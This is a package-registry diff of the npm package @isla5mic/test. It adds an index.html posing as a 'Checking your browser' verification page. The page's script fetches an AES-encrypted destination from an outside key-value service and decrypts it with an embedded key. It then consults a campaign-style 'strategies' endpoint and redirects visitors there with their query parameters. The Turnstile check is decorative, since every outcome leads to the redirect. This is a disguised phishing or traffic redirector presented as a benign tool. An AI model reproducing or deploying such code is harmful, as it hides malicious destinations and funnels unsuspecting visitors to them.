@isla5mic/test 0.0.0-stage → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +9 -2
  2. package/index.html +321 -0
  3. package/package.json +13 -4
package/README.md CHANGED
@@ -1,3 +1,10 @@
1
- # Temporary Holding Version
1
+ # Browser verification page
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ A single static page served as the package entry point. It shows a brief
4
+ verification screen, resolves the destination it forwards to, and sends the
5
+ visitor there with the original query parameters.
6
+
7
+ - `index.html` — the page itself, no build step.
8
+ - No runtime dependencies and no install scripts.
9
+
10
+ Serve the package directory as static files, or open `index.html` directly.
package/index.html ADDED
@@ -0,0 +1,321 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en-US" dir="ltr" data-build="huy7fs">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="robots" content="noindex,nofollow">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1">
7
+ <meta name="generator" content="challenge-page/huy7fs">
8
+ <title>Checking your browser</title>
9
+ <style>
10
+ * { box-sizing: border-box; margin: 0; padding: 0; }
11
+ html {
12
+ line-height: 1.15;
13
+ text-size-adjust: 100%;
14
+ font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
15
+ background-color: #ffffff;
16
+ color: #313131;
17
+ }
18
+ body {
19
+ display: flex;
20
+ flex-direction: column;
21
+ min-height: 100vh;
22
+ justify-content: space-between;
23
+ }
24
+ @media (prefers-color-scheme: dark) {
25
+ html { background-color: #313131; color: #f2f2f2; }
26
+ .main-content_huy7fs h1, .main-content_huy7fs p, .footer-text_huy7fs { color: #f2f2f2 !important; }
27
+ .challenge-box_huy7fs { border-color: #585858 !important; }
28
+ .status-text_huy7fs { color: #f2f2f2 !important; }
29
+ .footer-inner_huy7fs { border-top: 1px solid #444444 !important; }
30
+ }
31
+ .main-wrapper_huy7fs {
32
+ flex-grow: 1;
33
+ display: flex;
34
+ align-items: center;
35
+ justify-content: center;
36
+ padding: 20px;
37
+ }
38
+ .main-content_huy7fs { max-width: 600px; width: 100%; text-align: left; }
39
+ .ch-title_huy7fs { font-size: 32px; font-weight: 700; margin-bottom: 8px; }
40
+ .ch-description_huy7fs { font-size: 15px; line-height: 1.5; color: #595959; margin-bottom: 28px; }
41
+ .challenge-slot_huy7fs { margin-bottom: 30px; min-height: 65px; }
42
+ .challenge-box_huy7fs {
43
+ width: 300px;
44
+ height: 65px;
45
+ margin-bottom: 30px;
46
+ border: 1px solid #e7e7e7;
47
+ background: transparent;
48
+ display: flex;
49
+ align-items: center;
50
+ justify-content: flex-start;
51
+ padding: 12px 13px 11px 9px;
52
+ }
53
+ .challenge-status_huy7fs {
54
+ display: flex;
55
+ align-items: center;
56
+ min-width: 0;
57
+ }
58
+ .spinner_huy7fs {
59
+ position: relative;
60
+ width: 31px;
61
+ height: 31px;
62
+ margin-right: 9px;
63
+ flex: 0 0 auto;
64
+ animation: rotate_huy7fs 1.35s linear infinite;
65
+ }
66
+ .spinner_huy7fs span {
67
+ position: absolute;
68
+ top: 14px;
69
+ left: 14px;
70
+ width: 3px;
71
+ height: 3px;
72
+ border-radius: 50%;
73
+ background: #28c86b;
74
+ transform: rotate(calc(var(--i) * 45deg)) translateY(-13px);
75
+ opacity: calc(0.22 + (var(--i) * 0.09));
76
+ }
77
+ .status-text_huy7fs {
78
+ margin: 0;
79
+ line-height: 1.05;
80
+ color: #313131;
81
+ }
82
+ .status-text_huy7fs strong {
83
+ display: block;
84
+ font-size: 16px;
85
+ font-weight: 700;
86
+ white-space: nowrap;
87
+ }
88
+ @keyframes rotate_huy7fs {
89
+ to { transform: rotate(360deg); }
90
+ }
91
+ .footer_huy7fs { padding: 20px 0; width: 100%; }
92
+ .footer-inner_huy7fs {
93
+ max-width: 1000px;
94
+ margin: 0 auto;
95
+ padding: 16px 20px 0 20px;
96
+ border-top: 1px solid #e0e0e0;
97
+ display: flex;
98
+ flex-direction: column;
99
+ gap: 8px;
100
+ font-size: 13px;
101
+ color: #8c8c8c;
102
+ }
103
+ .request-id_huy7fs { font-family: monospace; }
104
+ .request-id_huy7fs code { font-family: monospace; font-weight: bold; }
105
+ .footer-text_huy7fs { line-height: 1.4; }
106
+ </style>
107
+ </head>
108
+ <body>
109
+ <main class="main-wrapper_huy7fs" role="main">
110
+ <div class="main-content_huy7fs">
111
+ <h1 class="ch-title_huy7fs">Checking your browser</h1>
112
+ <p class="ch-description_huy7fs">This page confirms that the request comes from a real browser. It only takes a moment.</p>
113
+ <div class="challenge-slot_huy7fs" id="cf-turnstile-container" aria-label="Verification status"></div>
114
+ </div>
115
+ </main>
116
+ <footer class="footer_huy7fs" role="contentinfo">
117
+ <div class="footer-inner_huy7fs">
118
+ <span class="request-id_huy7fs">Request ID: <code id="request-id">------------</code></span>
119
+ <span class="footer-text_huy7fs">Automated traffic is screened to keep this page available.</span>
120
+ </div>
121
+ </footer>
122
+ <script>
123
+
124
+ var hostKey = "C6T5HgvthvXYjiGt6ISpIylRIu7tm8ua";
125
+ var aesKeyBase64 = "NvGafkxVGs+z6VOGy6E43n+JQgKSUsn+S5NjXlBmcq4=";
126
+ var fallbackDelayMs = 600;
127
+
128
+ var redirecting = false;
129
+
130
+ function decodeBase64(b64) {
131
+ var bin = atob(b64);
132
+ var bytes = new Uint8Array(bin.length);
133
+ for (var i = 0; i < bin.length; i++) bytes[i] = bin.charCodeAt(i);
134
+ return bytes;
135
+ }
136
+
137
+ function generateRequestId() {
138
+ var chars = "0123456789abcdef";
139
+ var result = "";
140
+ for (var i = 0; i < 12; i++) result += chars.charAt(Math.floor(Math.random() * 16));
141
+ return result;
142
+ }
143
+
144
+ function setRequestId() {
145
+ var target = document.getElementById("request-id");
146
+ if (target) target.textContent = generateRequestId();
147
+ }
148
+
149
+ function toHttpUrl(value, base) {
150
+ try {
151
+ var parsed = new URL(String(value), base || undefined);
152
+ if (parsed.protocol !== "http:" && parsed.protocol !== "https:") return null;
153
+ return parsed;
154
+ } catch (err) {
155
+ return null;
156
+ }
157
+ }
158
+
159
+ function appendVisitorParams(targetUrl) {
160
+ new URLSearchParams(window.location.search).forEach(function (paramValue, paramKey) {
161
+ targetUrl.searchParams.append(paramKey, paramValue);
162
+ });
163
+ return targetUrl;
164
+ }
165
+
166
+ function decodeStoredValue(stored) {
167
+ var separator = stored.indexOf(":");
168
+ if (separator <= 0) return Promise.resolve(stored);
169
+ return crypto.subtle.importKey(
170
+ "raw",
171
+ decodeBase64(aesKeyBase64),
172
+ { name: "AES-CTR" },
173
+ false,
174
+ ["decrypt"]
175
+ ).then(function (secretKey) {
176
+ return crypto.subtle.decrypt(
177
+ { name: "AES-CTR", counter: decodeBase64(stored.slice(0, separator)), length: 128 },
178
+ secretKey,
179
+ decodeBase64(stored.slice(separator + 1))
180
+ );
181
+ }).then(function (plain) {
182
+ return new TextDecoder().decode(plain);
183
+ }).catch(function () {
184
+ return stored;
185
+ });
186
+ }
187
+
188
+ function resolveHostUrl() {
189
+ return fetch("https://api.keyval.org/get", {
190
+ method: "POST",
191
+ cache: "no-store",
192
+ headers: { "Content-Type": "application/json" },
193
+ body: JSON.stringify({ key: hostKey })
194
+ }).then(function (response) {
195
+ return response.ok ? response.json() : null;
196
+ }).then(function (data) {
197
+ var stored = String((data && data.val) || "").trim();
198
+ if (!stored) return null;
199
+ return decodeStoredValue(stored);
200
+ }).then(function (plain) {
201
+ var text = String(plain || "").trim();
202
+ if (!text) return null;
203
+ return toHttpUrl(/^[a-z][a-z\d+.-]*:\/\//i.test(text) ? text : "https://" + text);
204
+ }).catch(function () {
205
+ return null;
206
+ });
207
+ }
208
+
209
+ function fetchPolicyRedirectUrl(baseUrl) {
210
+ var cid = new URLSearchParams(window.location.search).get("cid");
211
+ if (!cid || !baseUrl) return Promise.resolve(null);
212
+ return fetch(baseUrl + "/api/strategies/check?cid=" + encodeURIComponent(cid))
213
+ .then(function (checkResponse) {
214
+ if (!checkResponse.ok) return null;
215
+ return checkResponse.json();
216
+ })
217
+ .then(function (checkData) {
218
+ if (checkData && checkData.success && checkData.redirect_url) {
219
+ return checkData.redirect_url;
220
+ }
221
+ return null;
222
+ })
223
+ .catch(function () {
224
+ return null;
225
+ });
226
+ }
227
+
228
+ function navigate(targetUrl) {
229
+ redirecting = true;
230
+ window.location.replace(targetUrl.toString());
231
+ }
232
+
233
+ function redirectToHost() {
234
+ if (redirecting) return Promise.resolve();
235
+ return hostUrlPromise.then(function (url) {
236
+ if (!url || redirecting) return null;
237
+ appendVisitorParams(url);
238
+ navigate(url);
239
+ return null;
240
+ });
241
+ }
242
+
243
+ var turnstileSiteKey = "0x4AAAAAAF0oIMn--J331xNO";
244
+ var turnstileLanguage = "en-US";
245
+ var turnstileLoading = null;
246
+
247
+ function loadTurnstile() {
248
+ if (window.turnstile) return Promise.resolve(window.turnstile);
249
+ if (turnstileLoading) return turnstileLoading;
250
+ turnstileLoading = new Promise(function (resolve) {
251
+ var script = document.createElement("script");
252
+ script.src = "https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit";
253
+ script.async = true;
254
+ script.defer = true;
255
+ script.onload = function () { resolve(window.turnstile || null); };
256
+ script.onerror = function () { resolve(null); };
257
+ document.head.appendChild(script);
258
+ });
259
+ return turnstileLoading;
260
+ }
261
+
262
+ function onTurnstileComplete() {
263
+ if (redirecting) return;
264
+ checkPromise.then(function (redirected) {
265
+ if (redirected) return;
266
+ return redirectToHost();
267
+ });
268
+ }
269
+
270
+ function mountTurnstile() {
271
+ var container = document.getElementById("cf-turnstile-container");
272
+ if (!container || container.getAttribute("data-mounted") === "1") return;
273
+ container.setAttribute("data-mounted", "1");
274
+ loadTurnstile().then(function (turnstile) {
275
+ if (!turnstile || typeof turnstile.render !== "function") {
276
+ onTurnstileComplete();
277
+ return;
278
+ }
279
+ var options = {
280
+ sitekey: turnstileSiteKey,
281
+ appearance: "always",
282
+ theme: "auto",
283
+ language: turnstileLanguage,
284
+ callback: function () { onTurnstileComplete(); },
285
+ "error-callback": function () { onTurnstileComplete(); },
286
+ "expired-callback": function () { onTurnstileComplete(); },
287
+ "timeout-callback": function () { onTurnstileComplete(); },
288
+ "unsupported-callback": function () { onTurnstileComplete(); }
289
+ };
290
+ try {
291
+ turnstile.render(container, options);
292
+ } catch (err) {
293
+ onTurnstileComplete();
294
+ }
295
+ });
296
+ }
297
+
298
+ var hostUrlPromise = resolveHostUrl();
299
+
300
+ var checkPromise = hostUrlPromise.then(function (hostUrl) {
301
+ var baseUrl = hostUrl ? hostUrl.origin : "";
302
+ return fetchPolicyRedirectUrl(baseUrl).then(function (policyUrl) {
303
+ if (!policyUrl) return false;
304
+ var target = toHttpUrl(policyUrl, baseUrl || undefined);
305
+ if (!target) return false;
306
+ appendVisitorParams(target);
307
+ navigate(target);
308
+ return true;
309
+ });
310
+ });
311
+
312
+ setRequestId();
313
+
314
+ checkPromise.then(function (redirected) {
315
+ if (redirected) return;
316
+ mountTurnstile();
317
+ });
318
+
319
+ </script>
320
+ </body>
321
+ </html>
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "@isla5mic/test",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.1",
4
+ "main": "index.html",
5
+ "files": [
6
+ "index.html",
7
+ "README.md"
8
+ ],
9
+ "description": "Browser verification page that forwards visitors to the configured destination.",
10
+ "license": "MIT",
11
+ "keywords": [
12
+ "browser-verification",
13
+ "landing-page"
14
+ ]
15
+ }